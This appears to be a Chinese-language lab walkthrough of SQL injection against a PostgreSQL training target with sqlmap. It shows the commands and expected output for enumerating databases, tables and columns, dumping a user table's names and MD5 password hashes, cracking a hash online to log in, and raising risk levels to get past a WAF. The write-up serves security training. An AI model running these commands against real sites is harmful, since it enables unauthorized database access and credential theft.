使用Kali Linux中的sqlmap工具進行PostgreSQL手工注入漏洞測試實戰
前言
SQL注入是Web安全中最常見的漏洞之一。本文將演示如何使用Kali Linux中的sqlmap工具對PostgreSQL數據庫進行手工注入測試,通過實戰案例幫助安全研究人員更好地理解漏洞原理和測試方法。
測試環境說明:
- 靶場地址:http://124.70.71.251:47707/new_list.php?id=1
- 數據庫類型:PostgreSQL
- 工具:Kali Linux內置sqlmap
一、sqlmap基本介紹
sqlmap是一款開源的自動化SQL注入工具,能夠檢測和利用SQL注入漏洞,支持多種數據庫類型。
主要功能:
- 自動識別注入點
- 支持多種數據庫
- 數據提取和導出
- 密碼哈希破解
- 操作系統命令執行
二、實戰測試步驟(以自己的ip地址為準)
1. 獲取所有數據庫名
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" --dbs
參數說明:
-u
:指定目標URL--dbs
:枚舉所有數據庫
預期輸出:
available databases [1]:
[*] public
2. 獲取目標數據庫的表名
假設目標庫為public
:
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public --tables
參數說明:
-D
:指定數據庫名--tables
:枚舉指定數據庫的所有表
預期輸出:
Database: public
[2 tables]
+-----------+
| notice |
| reg_users |
+-----------+
3. 獲取表結構(字段名)
針對reg_users
表:
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users --columns
參數說明:
-T
:指定表名--columns
:枚舉表的所有列
預期輸出:
Database: public
Table: reg_users
[4 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| name | varchar |
| status | int4 |
| id | int4 |
| password | varchar |
+----------+---------+
4. 導出用戶名和密碼數據
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users -C "name,password" --dump
參數說明:
-C
:指定要導出的列--dump
:導出數據
預期輸出:
Database: public
Table: reg_users
[2 entries]
+--------+----------------------------------+
| name | password |
+--------+----------------------------------+
| mozhe1 | a7d99ac11a815b451c0fc458bc5a4a32 |
| mozhe2 | 1c63129ae9db9c60c3e8aa94d3e00495 |
+--------+----------------------------------+
5. 假如重啟了靶場,發現mozhe1的密碼保持不變
建議使用下面的命令,用sqlmap重新導出數據,確保獲取最新哈希
sqlmap -u "http://靶場URL/new_list.php?id=1" -D public -T reg_users -C "password" --fresh-queries --dump
參數說明:
--fresh-queries
:強制sqlmap忽略緩存,重新查詢數據庫。
6. 對密碼進行MD5解密
工具:https://www.cmd5.com/,將mozhe1的密碼放入工具中解密即可,手動登錄獲取Key
三、sqlmap關鍵參數功能表(PostgreSQL注入測試)
參數 | 功能說明 | 使用示例 | 適用場景 |
---|---|---|---|
-u | 指定目標URL(必須包含注入參數) | -u "http://example.com/page.php?id=1" | 基礎注入檢測 |
--dbs | 枚舉所有可訪問的數據庫名 | sqlmap -u "URL" --dbs | 信息收集階段 |
-D | 指定目標數據庫名 | -D public | 需配合--tables 或--columns 使用 |
--tables | 枚舉指定數據庫中的所有表名 | sqlmap -u "URL" -D public --tables | 確定目標數據表 |
-T | 指定目標表名 | -T reg_users | 需配合--columns 或--dump 使用 |
--columns | 枚舉指定表的所有列名(字段名) | sqlmap -u "URL" -D public -T reg_users --columns | 分析表結構 |
-C | 指定要操作的列名(可多選,逗號分隔) | -C "name,password" | 精確提取數據 |
--dump | 導出指定表或列的數據 | sqlmap -u "URL" -D public -T reg_users -C "name,password" --dump | 獲取敏感數據 |
--batch | 自動選擇默認選項(非交互模式) | sqlmap -u "URL" --batch | 批量測試時使用 |
--risk | 設置風險等級(1-3,默認1) ? 1: 低風險(如 AND 1=1 )? 3: 高風險(如 OR 1=1 ) | --risk=3 | 需要繞過WAF時 |
--level | 設置測試深度(1-5,默認1) ? 1: 僅測試URL參數 ? 3: 包含Header注入 ? 5: 全參數測試 | --level=5 | 全面檢測時使用 |